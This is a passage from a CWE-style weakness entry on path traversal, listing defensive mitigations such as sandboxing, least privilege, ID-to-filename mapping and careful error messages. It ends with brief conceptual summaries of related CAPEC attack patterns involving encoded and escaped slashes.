Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.